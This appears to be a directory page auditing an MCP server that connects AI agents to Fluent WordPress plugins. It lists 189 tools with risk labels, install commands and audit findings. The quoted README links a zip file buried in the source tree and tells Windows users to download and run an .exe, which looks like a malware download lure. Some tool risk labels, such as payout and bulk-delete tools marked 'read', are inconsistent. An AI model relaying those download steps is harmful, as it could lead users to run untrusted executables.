fluent-mcp-serversCAUTION
Connect AI agents to the Fluent WordPress ecosystem using standardized MCP servers for CRM, support, boards, community, and affiliate management.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/Dominotypist3077/fluent-mcp-servers/main/fluent-community-mcp/src/tools/fluent-mcp-servers-2.0.zip)
This software links AI systems to your Fluent WordPress plugins. It helps your automated agents manage data across FluentCRM, Fluent Support, Fluent Boards, Fluent Community, and FluentAffiliate. You get direct access to 175 specific tools designed to automate tasks within your WordPress site.
🚀 Why use this software
Managing WordPress data often requires manual input. You might spend hours moving information between your CRM, your support tickets, or your project boards. This software removes those manual steps. It provides a bridge. Your AI agent requests the connection, and the server executes the command in your WordPress environment. This increases your efficiency and reduces errors.
💻 System requirements
Your computer needs to meet these basic standards to run the software smoothly:
- Operating System: Windows 10 or Windows 11.
- Memory: At least 4 gigabytes of RAM.
- Internet Connection: A stable connection for the AI to talk to your WordPress site.
- WordPress Setup: You must have one of the supported Fluent plugins installed and active on your website.
📥 How to download the files
You need to access the release page to get the installer.
Click here to visit the release page and download the software
Look for the file that ends in .exe. Save it to a folder you recognize, such as your Downloads folder or Desktop.
⚙️ Installation steps
Follow these steps to set up the software on your Windows computer:
- Open the folder where you saved the file.
- Double-click the .exe file.
- Follow th
e8cb53c32006OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add fluent-support-mcp --env FLUENTAFFILIATE_APP_PASSWORD=${FLUENTAFFILIATE_APP_PASSWORD} --env FLUENTBOARDS_APP_PASSWORD=${FLUENTBOARDS_APP_PASSWORD} --env FLUENTCOMMUNITY_APP_PASSWORD=${FLUENTCOMMUNITY_APP_PASSWORD} --env FLUENTCRM_APP_PASSWORD=${FLUENTCRM_APP_PASSWORD} -- npx -y [email protected]{
"mcpServers": {
"fluent-support-mcp": {
"command": "npx",
"args": [
"-y",
"[email protected]"
],
"env": {
"FLUENTAFFILIATE_APP_PASSWORD": "${FLUENTAFFILIATE_APP_PASSWORD}",
"FLUENTBOARDS_APP_PASSWORD": "${FLUENTBOARDS_APP_PASSWORD}",
"FLUENTCOMMUNITY_APP_PASSWORD": "${FLUENTCOMMUNITY_APP_PASSWORD}",
"FLUENTCRM_APP_PASSWORD": "${FLUENTCRM_APP_PASSWORD}"
}
}
}
}Exposed tools (189)
96 read · 67 write · 26 destructive. Blast radius: 26 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
fluentaffiliate_affiliate_create | write | Create a new affiliate. Requires a WordPress user ID or email. The affiliate will be associated with the given user account. |
fluentaffiliate_affiliate_delete | destructive | Permanently delete an affiliate. This removes the affiliate record but does not delete the WordPress user account. Existing referrals may be affected. |
fluentaffiliate_affiliate_get | read | Get detailed information about a single affiliate including their profile, earnings summary, referral stats, payout history, and visit data. |
fluentaffiliate_affiliate_list | read | List all affiliates with optional filtering by status, search, and pagination. Returns affiliate profiles including earnings, referral counts, and status. |
fluentaffiliate_affiliate_update | write | Update affiliate profile fields such as payment email, status, or referral URL. Pass only the fields you want to change. |
fluentaffiliate_affiliate_update_status | write | Change the status of an affiliate (approve, reject, block, or reactivate). Use this for affiliate application management. |
fluentaffiliate_describe_tools | read | |
fluentaffiliate_execute_tool | write | |
fluentaffiliate_payout_get | read | Get detailed information about a specific payout including the affiliate, amount, payment method, status, and associated transactions. |
fluentaffiliate_payout_list | read | List all payout records with optional filtering by status, affiliate, and date range. Shows payout amounts, methods, and processing status. |
fluentaffiliate_payout_process | read | Process a payout for one or more affiliates. This marks approved referrals as paid and creates a payout record. Provide affiliate IDs to include in the payout batch. |
fluentaffiliate_payout_validate_config | write | Validate that the payout configuration is correctly set up before processing payouts. Checks payment method settings, minimum thresholds, and affiliate payment details. |
fluentaffiliate_portal_referrals | read | Get the referral list from the affiliate portal perspective. Shows the affiliate their own referrals with status, amounts, and dates. |
fluentaffiliate_portal_stats | read | Get affiliate portal statistics for the authenticated user: their total earnings, unpaid balance, referral count, visit count, and conversion rate. |
fluentaffiliate_portal_transactions | read | Get payout transactions from the affiliate portal perspective. Shows the affiliate their payment history including amounts, dates, and payment methods. |
fluentaffiliate_referral_create | write | Manually create a new referral record. Useful for crediting affiliates for offline sales or custom referral scenarios. |
fluentaffiliate_referral_delete | destructive | Permanently delete a referral record. This cannot be undone. The affiliate earnings will be adjusted accordingly. |
fluentaffiliate_referral_get | read | Get detailed information about a single referral including the associated affiliate, order reference, commission amount, and status. |
fluentaffiliate_referral_list | read | List all referrals with optional filtering by affiliate, status, type, and date range. Returns referral details including commission amounts and associated orders. |
fluentaffiliate_report_commerce | read | Get commerce-specific reports for the affiliate program including revenue attributed to affiliates, top-performing affiliates, and product-level affiliate performance. |
fluentaffiliate_report_dashboard_chart | read | Get chart data for the affiliate dashboard showing referral and visit trends over time. Useful for visualizing affiliate program performance. |
fluentaffiliate_report_dashboard_stats | read | Get affiliate program dashboard statistics: total affiliates, total referrals, total earnings, unpaid commissions, total visits, and conversion rate. |
fluentaffiliate_search_tools | read | |
fluentaffiliate_settings_email_config | read | Get the current email notification settings for the affiliate program: notification templates, triggers, and recipient configuration. |
fluentaffiliate_settings_referral_config | read | Get the current referral configuration including commission rates, referral types, cookie duration, and tracking settings. |
fluentaffiliate_settings_update_referral_config | write | Update referral configuration settings such as default commission rate, commission type (percentage or flat), cookie duration, and tracking preferences. |
fluentaffiliate_visit_list | read | List affiliate link visits/clicks with optional filtering by affiliate, date range, and pagination. Shows referral URL, landing page, IP (if stored), and conversion status. |
fluentboards_board_archive | read | Archive a board. Archived boards can be restored later. |
fluentboards_board_create | write | Create a new project board. Requires a title and type (to-do or roadmap). Optionally include a description, currency, folder, and initial stages. |
fluentboards_board_delete | destructive | Permanently delete a board. This action cannot be undone. All stages, tasks, and associated data will also be deleted. |
fluentboards_board_get | read | Get detailed information about a single board including its stages, settings, and metadata. |
fluentboards_board_list | read | List all project boards with optional filtering by type, search, and pagination. Boards are the top-level containers for stages and tasks. |
fluentboards_board_update | write | Update board properties such as title or description. Pass only the fields you want to change. |
fluentboards_comment_create | write | Add a new comment to a task. Supports threaded replies via parent_id. |
fluentboards_comment_delete | destructive | Delete a comment from a task. This also removes any threaded replies and attachments. |
fluentboards_comment_list | read | List all comments for a specific task. Returns the conversation thread including replies. |
fluentboards_describe_tools | read | |
fluentboards_execute_tool | write | |
fluentboards_label_assign_to_task | read | Assign a label to a task on a board. |
fluentboards_label_create | write | Create a new label for a board. Requires a color and background color in hex format. Optionally provide a label title. |
fluentboards_label_delete | destructive | Permanently delete a label from a board. Existing task associations will be removed. |
fluentboards_label_list | read | List all labels for a specific board. Labels help categorize and visually tag tasks. |
fluentboards_label_update | write | Update an existing label. You can change its title, text color, or background color. |
fluentboards_member_add | write | Add a user to a board as a member or viewer. The user must already exist in WordPress. |
fluentboards_member_list | read | List all members of a specific board including their roles (admin, member, viewer). |
fluentboards_member_remove | destructive | Remove a user from a board. Their task assignments on this board may need reassignment. |
fluentboards_search_tools | read | |
fluentboards_stage_create | write | Create a new stage (column) on a board. The stage is added at the end by default, or at the specified position. |
fluentboards_stage_delete | destructive | Archive (soft-delete) a stage. The stage and its tasks are hidden but can be restored later. |
fluentboards_stage_list | read | List archived stages for a board. Active stages are returned as part of the board details (use board_get). This endpoint returns only archived/soft-deleted stages. |
fluentboards_stage_reorder | write | Update the positions of multiple stages at once. Pass an array of stage IDs in the desired order. |
fluentboards_stage_update | write | Update stage properties such as title or settings. |
fluentboards_task_clone | write | Create a copy of an existing task. Choose which elements to include: assignees, subtasks, labels, attachments, and comments. |
fluentboards_task_close | read | Close (complete) a task by setting its status to |
fluentboards_task_create | write | Create a new task on a board. Requires a title, board_id, and stage_id. Optionally set priority, CRM contact, or mark as template. |
fluentboards_task_delete | destructive | Permanently delete a task. This action cannot be undone. All subtasks, comments, and attachments will also be deleted. |
fluentboards_task_get | read | Get detailed information about a single task including its description, assignees, labels, subtasks, and activity history. |
fluentboards_task_list | read | List all tasks for a specific board. Returns tasks across all stages with their status, priority, assignees, and metadata. |
fluentboards_task_move_stage | write | Move a task to a different stage within the same board, or to a stage in a different board. Optionally set the position within the target stage. |
fluentboards_task_update | write | Update a specific property of a task. Supported properties: title, description, status, priority, due_at, started_at, assignees, archived_at, last_completed_at, board_id, type, reminder_type, remind_at. |
fluentcommunity_analytics_activity | read | Get community activity trends over time: posts created, comments made, new members, and reactions. Useful for tracking engagement and growth. |
fluentcommunity_analytics_stats | read | Get overall community statistics: total members, total spaces, total posts, total comments, active members, new sign-ups, and engagement metrics. |
fluentcommunity_comment_create | write | Add a comment to a post/feed. Supports threaded replies by specifying a parent_id for the comment being replied to. |
fluentcommunity_comment_delete | destructive | Permanently delete a comment. If the comment has replies, they will also be removed. This action cannot be undone. |
fluentcommunity_comment_list | write | List comments for a specific post/feed. Returns comment content, author info, and nested replies. Supports pagination. |
fluentcommunity_comment_update | write | Update the content of an existing comment. Only the comment author or administrators can update a comment. |
fluentcommunity_course_enroll_user | read | Enroll a user in a course. The user will gain access to all published lessons within the course. |
fluentcommunity_course_get | read | Get detailed information about a specific course including its lessons, enrollment count, progress tracking, and metadata. |
fluentcommunity_course_list | read | List all courses in the community. Courses are structured learning paths with lessons and optional quizzes. Supports pagination. |
fluentcommunity_course_unenroll_user | destructive | Remove a user\ |
fluentcommunity_describe_tools | read | |
fluentcommunity_execute_tool | write | |
fluentcommunity_feed_create | write | Create a new post/feed in a community space. Requires a space_id and message content. Posts can be published immediately or saved as drafts. |
fluentcommunity_feed_delete | destructive | Permanently delete a post and all its associated comments. This action cannot be undone. |
fluentcommunity_feed_get | write | Get detailed information about a single post including its full content, author, reactions, comments, and metadata. |
fluentcommunity_feed_list | read | List community posts/feeds with optional filtering by space, author, and status. Supports pagination and search. Returns post content, author info, reactions, and comment counts. |
fluentcommunity_feed_search | read | Search across all community posts by keyword. Returns matching posts with relevance ranking. More targeted than feed_list with search parameter. |
fluentcommunity_feed_update | write | Update an existing post. Can modify content, title, status, pinned state, or comment settings. Pass only the fields you want to change. |
fluentcommunity_member_add_to_space | write | Add a user to a community space. The user must be a WordPress user. You can optionally set their role within the space. |
fluentcommunity_member_get | read | Get detailed profile information about a specific community member including their activity, spaces, and role. |
fluentcommunity_member_list | read | List community members with optional search and pagination. Shows member profiles, roles, and activity status. |
fluentcommunity_member_remove_from_space | destructive | Remove a user from a community space. The user will lose access to the space content if it is private or secret. |
fluentcommunity_member_update_role | write | Change a member\ |
fluentcommunity_notification_list | read | List notifications for the authenticated user. Shows mentions, replies, reactions, and other community activity notifications. Supports pagination. |
fluentcommunity_notification_mark_read | read | Mark one or more notifications as read. Pass specific notification IDs or omit to mark all unread notifications as read. |
fluentcommunity_search_tools | read | |
fluentcommunity_settings_get | read | Get Fluent Community configuration settings: general settings, registration options, email notifications, storage configuration, and authentication settings. |
fluentcommunity_settings_update | write | Update Fluent Community configuration settings. Pass a settings group and the key-value pairs to update. Only provided fields will be changed. |
fluentcommunity_space_create | write | Create a new community space. Spaces can be public (anyone can join), private (invite-only), or secret (hidden from non-members). |
fluentcommunity_space_delete | destructive | Permanently delete a space. This will remove all posts, comments, and member associations within the space. This action cannot be undone. |
fluentcommunity_space_get | read | Get detailed information about a specific space including its settings, member count, privacy level, and description. |
fluentcommunity_space_list | read | List all community spaces (groups/forums). Spaces are the main containers for posts and discussions. Supports pagination and search. |
fluentcommunity_space_update | write | Update space properties such as title, description, privacy level, or status. Pass only the fields you want to change. |
fluentcrm_campaign_create | write | Create a new email campaign in draft status. You can specify the subject, body, recipients (by tags/lists), and template. |
fluentcrm_campaign_get | read | Get detailed information about a single campaign including its settings, recipients, email body, and performance stats. |
fluentcrm_campaign_list | read | List email campaigns with optional filtering by status. Returns campaign summaries including send stats. |
fluentcrm_campaign_pause | read | Pause a currently sending (working) campaign. Can be resumed later. |
fluentcrm_campaign_resume | read | Resume a paused campaign to continue sending. |
fluentcrm_campaign_schedule | write | Schedule a draft campaign for sending. You must specify the recipients (by tags/lists) and optionally a send date. If no date is given, the campaign will be sent immediately. |
fluentcrm_contact_add_tags | write | Add one or more tags to a contact. Existing tags are preserved. |
fluentcrm_contact_create | write | Create a new CRM contact. Email is required. You can assign tags and lists at creation time. |
fluentcrm_contact_delete | destructive | Permanently delete a contact from the CRM. This removes all associated data including tags, lists, and activity history. |
fluentcrm_contact_get | read | Get detailed information about a single contact including their tags, lists, custom fields, and activity history. |
fluentcrm_contact_get_by_email | read | Look up a contact by their email address. Returns the full contact record if found. |
fluentcrm_contact_list | read | List CRM contacts (subscribers) with optional filtering by status, tags, lists, and search. Supports pagination. |
fluentcrm_contact_remove_tags | destructive | Remove one or more tags from a contact. |
fluentcrm_contact_update | write | Update an existing contact. Pass only the fields you want to change. Does not modify tags or lists (use dedicated tag/list tools). |
fluentcrm_describe_tools | read | |
fluentcrm_execute_tool | write | |
fluentcrm_funnel_create | write | Create a new automation funnel. Funnels start in draft status. Add triggers and actions, then publish to activate. |
fluentcrm_funnel_get | read | Get detailed information about a specific funnel including all its steps, triggers, and subscriber metrics. |
fluentcrm_funnel_list | read | List all automation funnels. Funnels are multi-step workflows triggered by events (signup, tag added, purchase, etc.). |
fluentcrm_funnel_trigger | write | Manually trigger a funnel for a specific contact via the webhook endpoint. The contact will enter the funnel as if the trigger event had occurred. |
fluentcrm_list_attach_contact | write | Add one or more contacts to a mailing list by their subscriber IDs. |
fluentcrm_list_create | write | Create a new mailing list for organizing contacts. |
fluentcrm_list_delete | destructive | Permanently delete a list. Contacts in this list are not deleted, but their association with this list is removed. |
fluentcrm_list_list | read | List all CRM lists (mailing lists). Lists are used to organize contacts into groups for campaigns and segmentation. |
fluentcrm_list_update | write | Update an existing list name, slug, or description. |
fluentcrm_report_campaign_stats | read | Get aggregated campaign performance statistics: emails sent, opens, clicks, unsubscribes, bounces, and revenue attribution. |
fluentcrm_report_dashboard | read | Get CRM dashboard statistics: total contacts, active subscribers, unsubscribed, emails sent, open rate, click rate, and more. |
fluentcrm_report_subscribers_growth | read | Get subscriber growth trends over time. Shows new subscribers per day/week/month in the given date range. |
fluentcrm_search_tools | read | |
fluentcrm_sequence_add_subscriber | write | Add one or more contacts to a sequence. They will start receiving the sequence emails from the beginning. |
fluentcrm_sequence_get | read | Get detailed information about a specific sequence including its emails, delays, and subscriber count. |
fluentcrm_sequence_list | read | List all email sequences (Pro). Sequences are automated multi-step email drip campaigns sent on a schedule. |
fluentcrm_sequence_remove_subscriber | destructive | Remove one or more contacts from a sequence. They will stop receiving further emails. |
fluentcrm_tag_attach_to_contact | read | Attach a tag to one or more contacts by their subscriber IDs. This is an alternative to fluentcrm_contact_add_tags when you want to work from the tag perspective. |
fluentcrm_tag_create | write | Create a new CRM tag for categorizing contacts. |
fluentcrm_tag_delete | destructive | Permanently delete a tag. Contacts that had this tag will have it removed, but the contacts themselves are not deleted. |
fluentcrm_tag_list | read | List all CRM tags. Tags are used to categorize and segment contacts for targeted campaigns and automations. |
fluentcrm_tag_update | write | Update an existing tag name, slug, or description. |
fluentcrm_template_create | write | Create a new email template with HTML content. Templates can be used across multiple campaigns. |
fluentcrm_template_get | read | Get detailed information about a specific email template including its HTML body and design settings. |
fluentcrm_template_list | read | List all email templates. Templates provide reusable email layouts and designs for campaigns. |
fluentcrm_webhook_create | write | Create a new incoming webhook endpoint. The webhook URL can be used by external systems to push data into FluentCRM (contacts, tags, lists, funnels). |
fluentcrm_webhook_list | write | List all configured incoming webhooks. Webhooks allow external systems to create or update contacts and trigger automations in FluentCRM. |
fluentsupport_activity_list | read | List recent activity log entries. Activities track all actions performed on tickets, customers, and agents (replies, status changes, assignments, etc.). |
fluentsupport_agent_create | write | Create a new support agent. The user_id must correspond to an existing WordPress user. |
fluentsupport_agent_delete | destructive | Remove an agent from the support team. This does not delete the underlying WordPress user. Open tickets may need to be reassigned. |
fluentsupport_agent_get | read | Get detailed information about a specific agent including their stats and settings. |
fluentsupport_agent_list | read | List all support agents/staff members. Agents handle ticket responses and manage the helpdesk. |
fluentsupport_agent_update | write | Update agent profile information such as name, email, or title. |
fluentsupport_customer_create | write | Create a new support customer. Email is required and must be unique. The customer can then submit tickets. |
fluentsupport_customer_delete | destructive | Permanently delete a customer. This will NOT delete their tickets, but will disassociate them. |
fluentsupport_customer_get | read | Get detailed customer information including their support history, ticket count, and profile data. |
fluentsupport_customer_list | read | List support customers with optional search and pagination. Customers are the people who submit tickets. |
fluentsupport_customer_tickets | read | List all tickets submitted by a specific customer. Useful for viewing support history. |
fluentsupport_customer_update | write | Update customer profile fields. Fetches current state first to ensure required fields are preserved. |
fluentsupport_describe_tools | read | |
fluentsupport_execute_tool | write | |
fluentsupport_product_create | write | Create a new product for ticket categorization. |
fluentsupport_product_delete | destructive | Permanently delete a product. Existing ticket associations will be removed. |
fluentsupport_product_list | read | List all products. Products can be associated with tickets to track which product a support request is about. |
fluentsupport_product_update | write | Update an existing product name or description. |
fluentsupport_report_agent_stats | read | Get per-agent performance metrics: tickets handled, average response time, resolution count, and satisfaction scores. |
fluentsupport_report_overall_stats | read | Get overall support statistics: total tickets, open tickets, closed tickets, average response time, and resolution time. |
fluentsupport_report_personal_stats | read | Get personal support stats for the authenticated agent: your tickets, response times, and resolution metrics. |
fluentsupport_report_resolve_stats | read | Get ticket resolution statistics: average time to resolve, resolution rate, and breakdown by priority. |
fluentsupport_report_response_stats | read | Get response time statistics: average first response time, average response time, and response count breakdown. |
fluentsupport_report_ticket_growth | read | Get ticket creation trends over time. Shows how many tickets were created per day, week, or month in the given date range. |
fluentsupport_saved_reply_create | write | Create a new saved reply template. Use dynamic placeholders like {{customer.name}}, {{ticket.title}} for personalized responses. |
fluentsupport_saved_reply_delete | destructive | Permanently delete a saved reply template. |
fluentsupport_saved_reply_get | read | Get full details of a specific saved reply template including its content. |
fluentsupport_saved_reply_list | read | List all saved reply templates. Saved replies are pre-written response templates that agents can quickly insert when replying to tickets. |
fluentsupport_saved_reply_update | write | Update an existing saved reply template. Pass only the fields to change. |
fluentsupport_search_tools | read | |
fluentsupport_settings_get | read | Get Fluent Support general settings: business hours, email notifications, ticket defaults, and more. |
fluentsupport_settings_mailboxes | read | List all configured mailboxes/inboxes. Mailboxes determine where incoming ticket emails are received. |
fluentsupport_tag_create | write | Create a new ticket tag for categorizing tickets. |
fluentsupport_tag_delete | destructive | Permanently delete a tag. Existing ticket associations will be removed. |
fluentsupport_tag_list | read | List all ticket tags. Tags help categorize and organize tickets for filtering and reporting. |
fluentsupport_tag_update | write | Update an existing tag name or description. |
fluentsupport_ticket_add_tag | write | Add one or more tags to a ticket. |
fluentsupport_ticket_bulk_actions | read | Perform bulk operations on multiple tickets. Supported actions: close, reopen, delete, assign_agent, change_priority. |
fluentsupport_ticket_close | read | Close an open ticket. Changes the ticket status to |
fluentsupport_ticket_create | write | Create a new support ticket. Requires a title, email (customer email), and content. Optionally assign an agent, priority, and product. |
fluentsupport_ticket_delete | destructive | Permanently delete a ticket. This action cannot be undone. All responses and attachments will also be deleted. |
fluentsupport_ticket_get | read | Get detailed information about a single support ticket including its current status, priority, assigned agent, customer, tags, and conversation history. |
fluentsupport_ticket_list | read | List support tickets with optional filtering by status, priority, agent, customer, and product. Supports pagination and search. |
fluentsupport_ticket_remove_tag | destructive | Remove a tag from a ticket. |
fluentsupport_ticket_reopen | read | Reopen a closed ticket. Changes the ticket status back to |
fluentsupport_ticket_reply | write | Add a response/reply to a ticket. The content supports HTML. You can add internal notes by setting is_internal to true. |
fluentsupport_ticket_responses | read | Get all responses/replies for a specific ticket. Returns the full conversation thread including internal notes. |
fluentsupport_ticket_update | write | Update ticket properties such as priority, agent assignment, product, or status. Pass only the fields you want to change. |
fluentsupport_workflow_create | write | Create a new automation workflow. Define triggers, conditions, and actions to automate support processes. |
fluentsupport_workflow_delete | destructive | Permanently delete a workflow. Active workflows should be deactivated first. |
fluentsupport_workflow_get | read | Get detailed information about a specific workflow including its triggers, conditions, and actions. |
fluentsupport_workflow_list | read | List all automation workflows. Workflows automate ticket routing, auto-replies, SLA enforcement, and other support actions. |
fluentsupport_workflow_update | write | Update an existing workflow. Can modify triggers, conditions, actions, status, or metadata. |
Trust audit
CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (5 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (11)
fluent-mcp-servers-2.0.zip
fluentaffiliate_affiliate_delete, fluentaffiliate_referral_delete, fluentboards_board_delete, fluentboards_comment_delete, fluentboards_label_delete, fluentboards_member_remove, fluentboards_stage_del
@modelcontextprotocol/sdk, zod, @types/node, typescript
@modelcontextprotocol/sdk, zod, @types/node, typescript
@modelcontextprotocol/sdk, zod, @types/node, typescript
@modelcontextprotocol/sdk, zod, @types/node, typescript
@modelcontextprotocol/sdk, zod, @types/node, typescript
MCP server for the [FluentAffiliate](https://fluentaffiliate.com/) WordPress affiliate program plugin. Provides AI agents with full access to affiliates, referrals, payouts, visits, reports, settings,
MCP server for the [FluentCRM](https://fluentcrm.com/) WordPress email marketing and CRM plugin. Provides AI agents with full access to contacts, tags, lists, campaigns, sequences, automations, templa
MCP server for the [Fluent Support](https://fluentsupport.com/) WordPress helpdesk plugin. Provides AI agents with full access to tickets, customers, agents, workflows, saved replies, reports, and set
* **Restrict access**: Only grant API keys for the specific plugins you need to automate.
Gates applied: no_behavioural_pass.
e8cb53c32006full audit observations/trust-audit/mcp-server/dominotypist3077__fluent-mcp-servers.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | e8cb53c32006 | CAUTION | B | 89 | first audit |
Questions
What is the fluent-mcp-servers MCP server?
Connect AI agents to the Fluent WordPress ecosystem using standardized MCP servers for CRM, support, boards, community, and affiliate management.
What tools does fluent-mcp-servers expose?
189 in total: 96 read-only, 67 that write, and 26 that can delete or overwrite (fluentaffiliate_affiliate_delete, fluentaffiliate_referral_delete, fluentboards_board_delete, fluentboards_comment_delete, fluentboards_label_delete). Every one is listed on this page with its risk.
Is fluent-mcp-servers safe to connect to an agent?
With care. The audit graded it B (89/100) and found 11 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 26 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does fluent-mcp-servers need?
It reads FLUENTAFFILIATE_APP_PASSWORD, FLUENTBOARDS_APP_PASSWORD, FLUENTCOMMUNITY_APP_PASSWORD, FLUENTCRM_APP_PASSWORD and FLUENTSUPPORT_APP_PASSWORD from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does fluent-mcp-servers run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as fluent-support-mcp at 1.0.0.
How current is this page?
The grade is for one exact copy of the source (e8cb53c32006), read on 2026-10-11. The repository is watched and re-audited when it changes.